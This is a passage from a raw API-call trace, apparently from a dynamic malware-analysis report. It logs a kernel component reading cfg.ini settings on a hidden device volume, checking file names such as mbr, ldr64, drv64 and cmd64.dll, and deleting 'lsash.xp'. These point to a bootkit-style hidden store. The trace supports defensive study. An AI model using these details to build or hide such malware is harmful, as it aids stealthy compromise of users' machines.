MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.734] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.734] IdePortDispatch () returned 0x103 [0121.734] KeWaitForMutexObject () returned 0x0 [0121.734] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.734] KeLeaveCriticalRegion () [0121.734] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.734] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.734] KeEnterCriticalRegion () [0121.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.734] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc2000 [0121.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.734] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.734] IdePortDispatch () returned 0x103 [0121.734] KeWaitForMutexObject () returned 0x0 [0121.734] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.735] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.735] IdePortDispatch () returned 0x103 [0121.735] KeWaitForMutexObject () returned 0x0 [0121.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.735] KeLeaveCriticalRegion () [0121.735] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.735] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.735] KeEnterCriticalRegion () [0121.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.735] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.735] KeLeaveCriticalRegion () [0121.735] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.735] KeEnterCriticalRegion () [0121.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.735] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.735] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc67d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.735] KeLeaveCriticalRegion () [0121.735] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.735] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.736] KeEnterCriticalRegion () [0121.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.736] ExFreePoolWithTag (P=0xfffffa8003bc6710, Tag=0x0) [0121.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.736] KeLeaveCriticalRegion () [0121.736] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.736] ReleaseMutex (hMutex=0xf0) returned 1 [0121.736] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.736] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.736] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.736] KeEnterCriticalRegion () [0121.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.736] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.736] IdePortDispatch () returned 0x103 [0121.736] KeWaitForMutexObject () returned 0x0 [0121.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.736] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.736] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.736] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.736] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.736] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6860 [0121.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.736] KeLeaveCriticalRegion () [0121.736] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.736] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.736] KeEnterCriticalRegion () [0121.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.736] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.736] KeLeaveCriticalRegion () [0121.736] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.736] KeEnterCriticalRegion () [0121.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.737] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.737] IdePortDispatch () returned 0x103 [0121.737] KeWaitForMutexObject () returned 0x0 [0121.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.737] KeLeaveCriticalRegion () [0121.737] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.737] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.737] KeEnterCriticalRegion () [0121.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.737] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc3000 [0121.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.737] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.737] IdePortDispatch () returned 0x103 [0121.737] KeWaitForMutexObject () returned 0x0 [0121.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.737] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.737] IdePortDispatch () returned 0x103 [0121.737] KeWaitForMutexObject () returned 0x0 [0121.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.738] KeLeaveCriticalRegion () [0121.738] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.738] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.738] KeEnterCriticalRegion () [0121.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.738] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.738] KeLeaveCriticalRegion () [0121.738] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.738] KeEnterCriticalRegion () [0121.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.738] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.738] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.738] KeLeaveCriticalRegion () [0121.738] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.738] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.738] KeEnterCriticalRegion () [0121.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.738] ExFreePoolWithTag (P=0xfffffa8003bd6860, Tag=0x0) [0121.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.738] KeLeaveCriticalRegion () [0121.738] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.738] ReleaseMutex (hMutex=0xf0) returned 1 [0121.738] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.738] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.739] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.739] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.739] KeEnterCriticalRegion () [0121.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.739] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.739] IdePortDispatch () returned 0x103 [0121.739] KeWaitForMutexObject () returned 0x0 [0121.739] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.739] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.739] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.739] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.739] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.739] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.739] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.739] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.739] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.739] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.739] KeLeaveCriticalRegion () [0121.739] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.739] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.739] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.739] KeEnterCriticalRegion () [0121.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.739] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.739] IdePortDispatch () returned 0x103 [0121.739] KeWaitForMutexObject () returned 0x0 [0121.740] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.740] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.740] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.740] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.740] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.740] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.740] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.740] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.740] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.740] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.740] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.740] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.740] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.740] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.740] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.740] KeLeaveCriticalRegion () [0121.740] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.740] ReleaseMutex (hMutex=0x100) returned 1 [0121.740] Sleep (dwMilliseconds=0x2bf20) [0121.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bc28250, dwHighDateTime=0x1d24fa4)) [0121.746] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.746] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.746] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.746] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.746] KeEnterCriticalRegion () [0121.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.746] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.746] IdePortDispatch () returned 0x103 [0121.746] KeWaitForMutexObject () returned 0x0 [0121.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.747] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.747] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.747] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.747] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.747] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6a00 [0121.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.747] KeLeaveCriticalRegion () [0121.747] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.747] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.747] KeEnterCriticalRegion () [0121.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.747] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.747] KeLeaveCriticalRegion () [0121.747] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.747] KeEnterCriticalRegion () [0121.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.747] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.747] IdePortDispatch () returned 0x103 [0121.747] KeWaitForMutexObject () returned 0x0 [0121.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.747] KeLeaveCriticalRegion () [0121.747] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.747] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.747] KeEnterCriticalRegion () [0121.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc6000 [0121.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.748] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.748] IdePortDispatch () returned 0x103 [0121.748] KeWaitForMutexObject () returned 0x0 [0121.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.748] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.748] IdePortDispatch () returned 0x103 [0121.748] KeWaitForMutexObject () returned 0x0 [0121.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.748] KeLeaveCriticalRegion () [0121.748] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.749] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.749] KeEnterCriticalRegion () [0121.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.749] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.749] KeLeaveCriticalRegion () [0121.749] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.749] KeEnterCriticalRegion () [0121.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.749] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.749] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.749] KeLeaveCriticalRegion () [0121.749] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.749] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.749] KeEnterCriticalRegion () [0121.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.749] ExFreePoolWithTag (P=0xfffffa8003bd6a00, Tag=0x0) [0121.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.749] KeLeaveCriticalRegion () [0121.749] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.749] ReleaseMutex 